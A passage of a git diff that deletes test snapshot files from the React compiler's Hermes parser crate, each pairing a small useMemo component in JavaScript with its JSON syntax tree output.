-                                  74
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                64,
-                                74
-                              ]
-                            },
-                            "consequent": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ReturnStatement",
-                                  "argument": {
-                                    "type": "CallExpression",
-                                    "callee": {
-                                      "type": "Identifier",
-                                      "name": "makeObject",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        91,
-                                        101
-                                      ]
-                                    },
-                                    "arguments": [
-                                      {
-                                        "type": "MemberExpression",
-                                        "object": {
-                                          "type": "Identifier",
-                                          "name": "props",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            102,
-                                            107
-                                          ]
-                                        },
-                                        "property": {
-                                          "type": "Identifier",
-                                          "name": "a",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            108,
-                                            109
-                                          ]
-                                        },
-                                        "computed": false,
-                                        "loc": null,
-                                        "range": [
-                                          102,
-                                          109
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      91,
-                                      110
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    84,
-                                    111
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                76,
-                                117
-                              ]
-                            },
-                            "alternate": null,
-                            "loc": null,
-                            "range": [
-                              60,
-                              117
-                            ]
-                          },
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "makeObject",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  129,
-                                  139
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "props",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      140,
-                                      145
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "b",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      146,
-                                      147
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    140,
-                                    147
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                129,
-                                148
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              122,
-                              149
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          153
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        153
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        153
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    154
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  154
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              155
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                165,
-                166
-              ]
-            },
-            "loc": null,
-            "range": [
-              158,
-              167
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          169
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        169
-      ],
-      "loc": null,
-      "range": [
-        0,
-        169
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    169
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-independently-memoizeable.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-independently-memoizeable.js.snap
deleted file mode 100644
index 6a5394b006a5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-independently-memoizeable.js.snap
+++ /dev/null
@@ -1,443 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-independently-memoizeable.js
----
-Input:
-function Component(props) {
-  const [a, b] = useMemo(() => {
-    const items = [];
-    const a = makeObject(props.a);
-    const b = makeObject(props.b);
-    return [a, b];
-  });
-  return [a, b];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        41
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      52
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "VariableDeclaration",
-                            "kind": "const",
-                            "declarations": [
-                              {
-                                "type": "VariableDeclarator",
-                                "id": {
-                                  "type": "Identifier",
-                                  "name": "items",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    71,
-                                    76
-                                  ]
-                                },
-                                "init": {
-                                  "type": "ArrayExpression",
-                                  "elements": [],
-                                  "loc": null,
-                                  "range": [
-                                    79,
-                                    81
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  71,
-                                  81
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              65,
-                              82
-                            ]
-                          },
-                          {
-                            "type": "VariableDeclaration",
-                            "kind": "const",
-                            "declarations": [
-                              {
-                                "type": "VariableDeclarator",
-                                "id": {
-                                  "type": "Identifier",
-                                  "name": "a",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    93,
-                                    94
-                                  ]
-                                },
-                                "init": {
-                                  "type": "CallExpression",
-                                  "callee": {
-                                    "type": "Identifier",
-                                    "name": "makeObject",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      97,
-                                      107
-                                    ]
-                                  },
-                                  "arguments": [
-                                    {
-                                      "type": "MemberExpression",
-                                      "object": {
-                                        "type": "Identifier",
-                                        "name": "props",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          108,
-                                          113
-                                        ]
-                                      },
-                                      "property": {
-                                        "type": "Identifier",
-                                        "name": "a",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          114,
-                                          115
-                                        ]
-                                      },
-                                      "computed": false,
-                                      "loc": null,
-                                      "range": [
-                                        108,
-                                        115
-                                      ]
-                                    }
-                                  ],
-                                  "loc": null,
-                                  "range": [
-                                    97,
-                                    116
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  93,
-                                  116
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              87,
-                              117
-                            ]
-                          },
-                          {
-                            "type": "VariableDeclaration",
-                            "kind": "const",
-                            "declarations": [
-                              {
-                                "type": "VariableDeclarator",
-                                "id": {
-                                  "type": "Identifier",
-                                  "name": "b",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    128,
-                                    129
-                                  ]
-                                },
-                                "init": {
-                                  "type": "CallExpression",
-                                  "callee": {
-                                    "type": "Identifier",
-                                    "name": "makeObject",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      132,
-                                      142
-                                    ]
-                                  },
-                                  "arguments": [
-                                    {
-                                      "type": "MemberExpression",
-                                      "object": {
-                                        "type": "Identifier",
-                                        "name": "props",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          143,
-                                          148
-                                        ]
-                                      },
-                                      "property": {
-                                        "type": "Identifier",
-                                        "name": "b",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          149,
-                                          150
-                                        ]
-                                      },
-                                      "computed": false,
-                                      "loc": null,
-                                      "range": [
-                                        143,
-                                        150
-                                      ]
-                                    }
-                                  ],
-                                  "loc": null,
-                                  "range": [
-                                    132,
-                                    151
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  128,
-                                  151
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              122,
-                              152
-                            ]
-                          },
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "ArrayExpression",
-                              "elements": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "a",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    165,
-                                    166
-                                  ]
-                                },
-                                {
-                                  "type": "Identifier",
-                                  "name": "b",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    168,
-                                    169
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                164,
-                                170
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              157,
-                              171
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          59,
-                          175
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        53,
-                        175
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        53,
-                        175
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    45,
-                    176
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  176
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              177
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    188,
-                    189
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    191,
-                    192
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                187,
-                193
-              ]
-            },
-            "loc": null,
-            "range": [
-              180,
-              194
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          196
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        196
-      ],
-      "loc": null,
-      "range": [
-        0,
-        196
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    196
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-inlining-block-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-inlining-block-return.js.snap
deleted file mode 100644
index e570316fff58..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-inlining-block-return.js.snap
+++ /dev/null
@@ -1,289 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-inlining-block-return.js
----
-Input:
-function component(a, b) {
-  let x = useMemo(() => {
-    if (a) {
-      return { b };
-    }
-  }, [a, b]);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      44
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "IfStatement",
-                            "test": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                61,
-                                62
-                              ]
-                            },
-                            "consequent": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ReturnStatement",
-                                  "argument": {
-                                    "type": "ObjectExpression",
-                                    "properties": [
-                                      {
-                                        "type": "Property",
-                                        "key": {
-                                          "type": "Identifier",
-                                          "name": "b",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            81,
-                                            82
-                                          ]
-                                        },
-                                        "value": {
-                                          "type": "Identifier",
-                                          "name": "b",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            81,
-                                            82
-                                          ]
-                                        },
-                                        "kind": "init",
-                                        "method": false,
-                                        "shorthand": true,
-                                        "computed": false,
-                                        "loc": null,
-                                        "range": [
-                                          81,
-                                          82
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      79,
-                                      84
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    72,
-                                    85
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                64,
-                                91
-                              ]
-                            },
-                            "alternate": null,
-                            "loc": null,
-                            "range": [
-                              57,
-                              91
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          51,
-                          95
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        45,
-                        95
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        45,
-                        95
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            98,
-                            99
-                          ]
-                        },
-                        {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            101,
-                            102
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        97,
-                        103
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    104
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  104
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              105
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                115,
-                116
-              ]
-            },
-            "loc": null,
-            "range": [
-              108,
-              117
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          119
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        119
-      ],
-      "loc": null,
-      "range": [
-        0,
-        119
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    119
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-inverted-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-inverted-if.js.snap
deleted file mode 100644
index a55913d96ce1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-inverted-if.js.snap
+++ /dev/null
@@ -1,342 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-inverted-if.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    label: {
-      if (props.cond) {
-        break label;
-      }
-      return props.a;
-    }
-    return props.b;
-  });
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "LabeledStatement",
-                            "label": {
-                              "type": "Identifier",
-                              "name": "label",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                60,
-                                65
-                              ]
-                            },
-                            "body": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "IfStatement",
-                                  "test": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "props",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        79,
-                                        84
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "cond",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        85,
-                                        89
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      79,
-                                      89
-                                    ]
-                                  },
-                                  "consequent": {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "BreakStatement",
-                                        "label": {
-                                          "type": "Identifier",
-                                          "name": "label",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            107,
-                                            112
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          101,
-                                          113
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      91,
-                                      121
-                                    ]
-                                  },
-                                  "alternate": null,
-                                  "loc": null,
-                                  "range": [
-                                    75,
-                                    121
-                                  ]
-                                },
-                                {
-                                  "type": "ReturnStatement",
-                                  "argument": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "props",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        135,
-                                        140
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "a",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        141,
-                                        142
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      135,
-                                      142
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    128,
-                                    143
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                67,
-                                149
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              60,
-                              149
-                            ]
-                          },
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  161,
-                                  166
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "b",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  167,
-                                  168
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                161,
-                                168
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              154,
-                              169
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          173
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        173
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        173
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    174
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  174
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              175
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                185,
-                186
-              ]
-            },
-            "loc": null,
-            "range": [
-              178,
-              187
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          189
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        189
-      ],
-      "loc": null,
-      "range": [
-        0,
-        189
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    189
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-labeled-statement-unconditional-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-labeled-statement-unconditional-return.js.snap
deleted file mode 100644
index 77158be9fe07..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-labeled-statement-unconditional-return.js.snap
+++ /dev/null
@@ -1,235 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-labeled-statement-unconditional-return.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    label: {
-      return props.value;
-    }
-  });
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "LabeledStatement",
-                            "label": {
-                              "type": "Identifier",
-                              "name": "label",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                60,
-                                65
-                              ]
-                            },
-                            "body": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ReturnStatement",
-                                  "argument": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "props",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        82,
-                                        87
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "value",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        88,
-                                        93
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      82,
-                                      93
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    75,
-                                    94
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                67,
-                                100
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              60,
-                              100
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          104
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        104
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        104
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    105
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  105
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              106
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                116,
-                117
-              ]
-            },
-            "loc": null,
-            "range": [
-              109,
-              118
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          120
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        120
-      ],
-      "loc": null,
-      "range": [
-        0,
-        120
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    120
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-logical.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-logical.js.snap
deleted file mode 100644
index 1f42a60b7c39..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-logical.js.snap
+++ /dev/null
@@ -1,223 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-logical.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => props.a && props.b);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "LogicalExpression",
-                        "operator": "&&",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              54,
-                              59
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              60,
-                              61
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            54,
-                            61
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              65,
-                              70
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              71,
-                              72
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            65,
-                            72
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          54,
-                          72
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        72
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
